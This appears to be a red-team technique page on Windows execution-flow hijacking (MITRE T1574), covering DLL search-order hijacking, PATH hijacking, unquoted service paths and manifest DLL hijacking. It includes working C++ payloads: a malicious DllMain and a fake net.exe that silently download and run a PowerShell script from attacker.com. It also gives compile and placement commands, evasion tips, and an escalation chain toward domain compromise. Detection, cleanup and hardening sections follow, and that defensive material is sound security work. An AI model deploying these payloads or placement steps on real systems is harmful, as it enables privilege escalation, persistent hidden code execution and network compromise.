| Attribute | Details |
|---|---|
| Technique ID | EVADE-HIJACK-001 |
| MITRE ATT&CK v18.1 | T1574 – Hijack Execution Flow |
| Tactic | Defense Evasion, Privilege Escalation |
| Platforms | Windows Endpoint |
| Severity | High |
| CVE | N/A (Design misuse, not a vulnerability; CWE-426 Untrusted Search Path) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2008 R2-2025, Windows Vista-11 |
| Patched In | N/A (Requires architectural remediation; some mitigation available via WDAC, AppLocker) |
| Author | SERVTEP – Artur Pchelnikau |
Trusted Path Hijacking (T1574) exploits Windows binary search order to intercept and execute malicious DLLs or executables before legitimate versions are loaded. Windows searches for DLLs and binaries in a specific sequence (e.g., application directory before System32), allowing adversaries to place malicious files with legitimate names in high-priority search paths. When applications or services invoke common system binaries (e.g., kernel32.dll, ntdll.dll, mscoree.dll) without absolute paths, Windows may load attacker-controlled versions instead. This creates code execution with the parent application’s privileges without requiring user interaction or additional exploits.
Path hijacking exploits multiple search order vulnerabilities:
High privilege escalation and code execution risk. Legitimate services (e.g., SQL Server, Exchange, Print Spooler) may execute at SYSTEM privilege; hijacking enables privilege escalation without UAC bypass. Difficult to detect because execution appears legitimate (signed service binary loading legitimate DLL names). Affected services may run constantly, enabling persistent code execution across reboots.
Path hijacking is low-operational-complexity: single file placement, no registry modification, no detection of file creation (expected in application directories). Execution occurs on service start or application launch—often automatic. Detection requires behavioral analysis, DLL load order monitoring, or forensic examination of application directories.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 6.3.1 | Ensure that Safe DLL Search Mode is enabled |
| DISA STIG | SV-220718r880783_rule | Directory Search Path and DLL Loading must be restricted |
| CISA SCuBA | CM-2, CM-5 | Configuration Management and Access Restrictions |
| NIST 800-53 | CM-3, SI-7 | Configuration Change Control, Software Integrity |
| GDPR | Art. 32 | Security of Processing – System integrity measures |
| DORA | Art. 9 | Protection and Prevention of ICT-related incidents |
| NIS2 | Art. 21 | Cybersecurity Risk Management – Integrity controls |
| ISO 27001 | A.12.6.1, A.14.1.1 | Malware prevention, Application management |
| ISO 27005 | 10.3.1 | Secure development environment |
Standard Windows DLL search order (when absolute path not specified):
C:\path\to\app.exe\)C:\Windows\System32\)C:\Windows\System16\)C:\Windows\).)Critical Risk: Application directory (step 1) is highest priority; any user can write there if permissions permit.
# Check if Safe DLL Search Mode is enabled
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager"
$safeDllSearch = Get-ItemProperty -Path $regPath -Name SafeDllSearchMode -ErrorAction SilentlyContinue
if ($safeDllSearch.SafeDllSearchMode -eq 1) {
Write-Host "Safe DLL Search Mode is ENABLED (protected)"
} else {
Write-Host "Safe DLL Search Mode is DISABLED (vulnerable to DLL hijacking)"
}
# List application directories with weak permissions
Get-ChildItem -Path "C:\Program Files", "C:\Program Files (x86)" -Directory |
ForEach-Object {
$acl = Get-Acl -Path $_.FullName
$weakPermissions = $acl.Access |
Where-Object {$_.IdentityReference -match "BUILTIN\\Users" -and $_.FileSystemRights -match "Write"}
if ($weakPermissions) {
Write-Host "[VULNERABLE] Weak permissions on: $($_.FullName)"
}
}
What to Look For:
SafeDllSearchMode = 0: System32 search order not prioritized (vulnerable)SafeDllSearchMode = 1 or missing: Safe DLL search order enabled (protected)BUILTIN\Users write permissions: Vulnerable to DLL hijacking# Display current PATH
$env:PATH -split ";" | ForEach-Object { Write-Host $_ }
# Check for writable directories in PATH
$env:PATH -split ";" | ForEach-Object {
if (Test-Path $_) {
$acl = Get-Acl -Path $_
$writable = $acl.Access |
Where-Object {$_.IdentityReference -match "Users" -and $_.FileSystemRights -match "Write"}
if ($writable) {
Write-Host "[VULNERABLE] Writable PATH directory: $_"
}
}
}
# List services with unquoted paths containing spaces
Get-WmiObject -Class Win32_Service |
Where-Object {$_.PathName -notmatch "^`"" -and $_.PathName -like "* *"} |
Select-Object Name, PathName
# Example vulnerable output:
# Name PathName
# ---- --------
# MyService C:\Program Files\MyApp\Service.exe -arg1 -arg2
Supported Versions: Vista-2012 R2 (or Server 2012+ with SafeDllSearchMode disabled)
Objective: Find application that loads DLL without absolute path; place malicious DLL in application directory.
Reconnaissance Command:
# Monitor DLL loading of target application using Procmon (Sysinternals)
# Download: https://live.sysinternals.com/Procmon64.exe
# Run and capture DLL NOT FOUND events
# Example output:
# Process: app.exe
# Result: NAME NOT FOUND
# Path: C:\Program Files\MyApp\mscoree.dll
# Detail: Required DLL not found; will search System32
What to Look For:
Objective: Compile malicious DLL with legitimate name to execute when application loads it.
C++ Payload (DllMain Entry Point):
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
// Payload executes when DLL loaded
WinExec("powershell.exe -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')", SW_HIDE);
// Load legitimate DLL from System32 to prevent application crash
LoadLibraryA("C:\\Windows\\System32\\mscoree.dll");
break;
}
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Compilation:
# Compile to DLL
cl.exe /LD payload.cpp /Fe:mscoree.dll
Objective: Copy compiled DLL to application search path with legitimate name.
Command:
copy mscoree.dll "C:\Program Files\TargetApp\mscoree.dll"
# Verify placement
dir "C:\Program Files\TargetApp\mscoree.dll"
Expected Output:
mscoree.dll 12345 bytes
What This Means:
OpSec & Evasion:
mscoree.dll, crypt32.dll, kernel32.dll)Detection Likelihood: Medium (File creation in Program Files, Sysmon EventID 7 – Image Loaded)
Troubleshooting:
References & Proofs:
Supported Versions: All Windows versions (Vista-2025)
Objective: Find commonly-invoked system command (e.g., net.exe, findstr.exe) that might be called without absolute path.
Reconnaissance:
# Get all executable files in System32
Get-ChildItem "C:\Windows\System32" -Filter "*.exe" | Select-Object Name | Sort-Object -Unique
# Check which directories are in PATH (user writable)
$env:PATH -split ";" |
ForEach-Object {
if (Test-Path $_) {
$item = Get-Item $_
$acl = Get-Acl -Path $_
if ($acl.Access | Where-Object {$_.IdentityReference -match "Users" -and $_.FileSystemRights -match "Write"}) {
Write-Host "[WRITABLE] $_"
}
}
}
What to Look For:
python.exe, git.exe, npm.exe)Objective: Compile malicious EXE with same name as legitimate system command.
C++ Payload:
#include <windows.h>
#include <stdio.h>
int main(int argc, char *argv[])
{
// Payload execution
WinExec("powershell.exe -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')", SW_HIDE);
// Launch legitimate command from System32 with original arguments
// This makes hijack invisible to user/script
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
char cmdLine[MAX_PATH];
sprintf_s(cmdLine, "C:\\Windows\\System32\\net.exe");
for (int i = 1; i < argc; i++) {
strcat_s(cmdLine, " ");
strcat_s(cmdLine, argv[i]);
}
CreateProcessA(NULL, cmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
Compilation:
cl.exe payload.cpp /Fe:net.exe
Objective: Copy malicious binary to user-writable directory that appears early in PATH.
Command:
# Add malicious directory to user PATH
[Environment]::SetEnvironmentVariable("PATH", "C:\temp;" + [Environment]::GetEnvironmentVariable("PATH"), "User")
# Copy malicious executable
copy net.exe "C:\temp\net.exe"
# Verify PATH change
$env:PATH -split ";" | Select-Object -First 5
Expected Output:
C:\temp
C:\Windows\System32
C:\Windows
C:\Program Files\...
C:\Program Files (x86)\...
What This Means:
C:\temp is now first directory in PATHnet.exe without absolute path, attacker’s version executes firstOpSec & Evasion:
C:\Utils\, C:\Tools\)Detection Likelihood: Medium-High (PATH modification logged in Event Log, file creation in user directory)
Supported Versions: Server 2008 R2-2025, Windows Vista-11
Objective: Find service with unquoted executable path containing spaces.
Reconnaissance:
# Find services with unquoted paths and spaces
Get-WmiObject -Class Win32_Service |
Where-Object {
$_.PathName -notmatch "^`"" -and $_.PathName -like "* *"
} |
Select-Object Name, PathName, StartMode, State
# Example vulnerable service:
# Name : MyService
# PathName : C:\Program Files\MyApp\Service.exe -arg1
# StartMode : Auto
# State : Running
What to Look For:
Program Files)Objective: Create malicious binary at intermediate path that will execute before legitimate service.
Vulnerable Path Analysis:
Original: C:\Program Files\MyApp\Service.exe
Parsed as: C:\Program.exe (intermediate path hijackable!)
Create Malicious Intermediate Binary:
# Create malicious Program.exe at C:\Program.exe
# This will be executed by Windows when it parses the unquoted path
copy payload.exe "C:\Program.exe"
# Verify placement
dir "C:\Program.exe"
What This Means:
C:\Program Files\MyApp\Service.exeC:\Program.exe (first space-delimited segment)C:\Program.exeObjective: Start service or wait for automatic service start to execute hijacked binary.
Command:
# Manually trigger service start
net start MyService
# Or wait for scheduled/automatic restart
# Service will execute at next system boot if StartMode is "Auto"
Expected Result:
Program.exe executes with SYSTEM privilegesOpSec & Evasion:
Detection Likelihood: Very High (Registry audit for unquoted paths, Sysmon EventID 1 for C:\Program.exe execution)
References & Proofs:
Supported Versions: Server 2008 R2-2025, Windows Vista-11
Objective: Identify DLL referenced in application manifest without full path.
Extract Manifest:
# Extract embedded manifest from executable
mt.exe -inputresource:C:\Path\to\app.exe -out:app_manifest.xml
# View manifest contents
type app_manifest.xml
Example Manifest (Vulnerable):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="1.0.0.0"
processorArchitecture="x86"
name="MyApp"
type="win32"
/>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="mscoree"
version="2.0.50727.0"
processorArchitecture="x86"
publicKeyToken="b77a5c561934e089"
/>
</dependentAssembly>
</dependency>
</assembly>
What to Look For:
Objective: Compile malicious DLL with exact name referenced in manifest.
DLL Code (Same as METHOD 1):
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
WinExec("powershell.exe -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')", SW_HIDE);
// Load legitimate version from System32
LoadLibraryA("C:\\Windows\\System32\\mscoree.dll");
}
return TRUE;
}
Objective: Copy malicious DLL to application directory to hijack manifest-loaded dependency.
Command:
copy mscoree.dll "C:\Path\to\ApplicationDirectory\mscoree.dll"
When Application Loads:
| Test ID | Test Name | Command |
|---|---|---|
| T1574.001 | DLL Search Order Hijacking | copy payload.dll "C:\Program Files\TargetApp\system32.dll" |
| T1574.007 | PATH Environment Variable Hijacking | set PATH=C:\temp;%PATH% followed by executing command |
| T1574.009 | Unquoted Service Path | net start VulnerableService (after placing C:\Program.exe) |
Reference: Atomic Red Team – T1574
Filter:
.dllC:\Program Files\* or C:\Program Files (x86)\*PowerShell Query:
# Identify unquoted service paths
Get-WmiObject -Class Win32_Service |
Where-Object {$_.PathName -notmatch "^`"" -and $_.PathName -like "* *"} |
Select-Object Name, PathName, StartMode |
Export-Csv "C:\Logs\unquoted_services.csv"
Sysmon EventID 1 (Process Create):
Image: C:\Program.exe
OR
Image: C:\Program Files.exe
net stop MyService
del "C:\Program Files\TargetApp\mscoree.dll"
del "C:\Program.exe"
del "C:\temp\net.exe"
# Modify unquoted service path to quoted path
$service = Get-WmiObject -Class Win32_Service -Filter 'Name="MyService"'
$service.Change($null, "`"C:\Program Files\MyApp\Service.exe`" -arg1 -arg2")
# Remove attacker-controlled PATH entry
[Environment]::SetEnvironmentVariable("PATH",
([Environment]::GetEnvironmentVariable("PATH", "User") -replace "C:\\temp;"),
"User")
1. Enable Safe DLL Search Mode
Configure Windows to prioritize System32 directory in DLL search order.
Manual Steps (Server 2016-2019):
gpmc.msc)gpupdate /force on target machinesManual Steps (Server 2022+):
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session ManagerSafeDllSearchMode → Set Value to 1PowerShell Alternative:
# Enable Safe DLL Search Mode
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" `
-Name "SafeDllSearchMode" -Value 1
# Verify
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name SafeDllSearchMode
# Expected output: SafeDllSearchMode : 1
2. Fix Unquoted Service Paths
Add quotation marks to service executable paths.
PowerShell Script:
# Find and fix all unquoted service paths
Get-WmiObject -Class Win32_Service |
Where-Object {$_.PathName -notmatch "^`"" -and $_.PathName -like "* *"} |
ForEach-Object {
# Parse and re-quote path
$newPath = "`"" + ($_.PathName -split " ")[0] + "`" " + (($_.PathName -split " ", 2)[1] -replace "`"", "")
# Update service
$_.Change($null, $newPath)
Write-Host "Fixed: $($_.Name) -> $newPath"
}
Manual Fix (Per Service):
# Get service information
sc qc MyService
# Display example output:
# SERVICE_NAME: MyService
# BINARY_PATH_NAME : C:\Program Files\MyApp\Service.exe -arg1
# Fix by adding quotes
sc config MyService binPath= "\"C:\Program Files\MyApp\Service.exe\" -arg1"
# Verify fix
sc qc MyService
3. Restrict Application Directory Permissions
Deny standard users write access to Program Files directories.
NTFS ACL Configuration:
# Remove write permissions for Users on Program Files
$acl = Get-Acl "C:\Program Files"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
"BUILTIN\Users", "Write", "ContainerInherit,ObjectInherit", "None", "Deny"
)
$acl.AddAccessRule($rule)
Set-Acl -Path "C:\Program Files" -AclObject $acl
# Verify
Get-Acl "C:\Program Files" | Select-Object -ExpandProperty Access |
Where-Object {$_.IdentityReference -match "Users" -and $_.AccessControlType -eq "Deny"}
1. Deploy Windows Defender Application Control (WDAC)
Whitelist approved DLL/EXE files to prevent unauthorized binary loading.
WDAC Policy Creation:
# Create WDAC policy based on current system state
New-CIPolicy -FilePath "$env:TEMP\AllowedDLLs.xml" -Level FilePublisher -Fallback Hash -UserPEs
# Convert to binary format
ConvertFrom-CIPolicy -XmlFilePath "$env:TEMP\AllowedDLLs.xml" -BinaryFilePath "C:\Windows\System32\CodeIntegrity\SiPolicy.p7b"
# Verify WDAC enforcement
Get-CimInstance -Namespace "root\Microsoft\Windows\CI" -ClassName CodeIntegrityPolicy
2. Enable AppLocker DLL Rules
Restrict DLL loading to signed/approved binaries.
AppLocker Configuration (Group Policy):
gpmc.msc# Verify Safe DLL Search Mode enabled
$safeDll = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name SafeDllSearchMode -ErrorAction SilentlyContinue
Write-Host "Safe DLL Search Mode: $(if ($safeDll.SafeDllSearchMode -eq 1) {'ENABLED'} else {'DISABLED'})"
# Verify no unquoted service paths
$unquoted = Get-WmiObject -Class Win32_Service |
Where-Object {$_.PathName -notmatch "^`"" -and $_.PathName -like "* *"}
Write-Host "Unquoted service paths found: $($unquoted.Count)"
# Verify Program Files permissions
$acl = Get-Acl "C:\Program Files"
$userWrite = $acl.Access | Where-Object {$_.IdentityReference -match "Users" -and $_.FileSystemRights -match "Write"}
Write-Host "Users write access to Program Files: $(if ($userWrite) {'VULNERABLE'} else {'PROTECTED'})"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-002] | Compromise unprivileged user account |
| 2 | Execution | [EVADE-HIJACK-001] | Place malicious DLL in application directory |
| 3 | Privilege Escalation | [PE-TOKEN-001] | Malicious DLL executes with service SYSTEM privilege |
| 4 | Persistence | [PE-ACCTMGMT-001] | Create new admin account using SYSTEM-level code |
| 5 | Lateral Movement | [LM-AUTH-001] | Use elevated privileges to compromise domain controller |
Regulatory Breach Scenario: Unquoted service path exploited to escalate privileges; attacker gains SYSTEM access and compromises entire domain infrastructure.
Financial Penalties: $50M-$200M+; Domain-wide compromise extends investigation and remediation costs.
Preventive Control Maturity: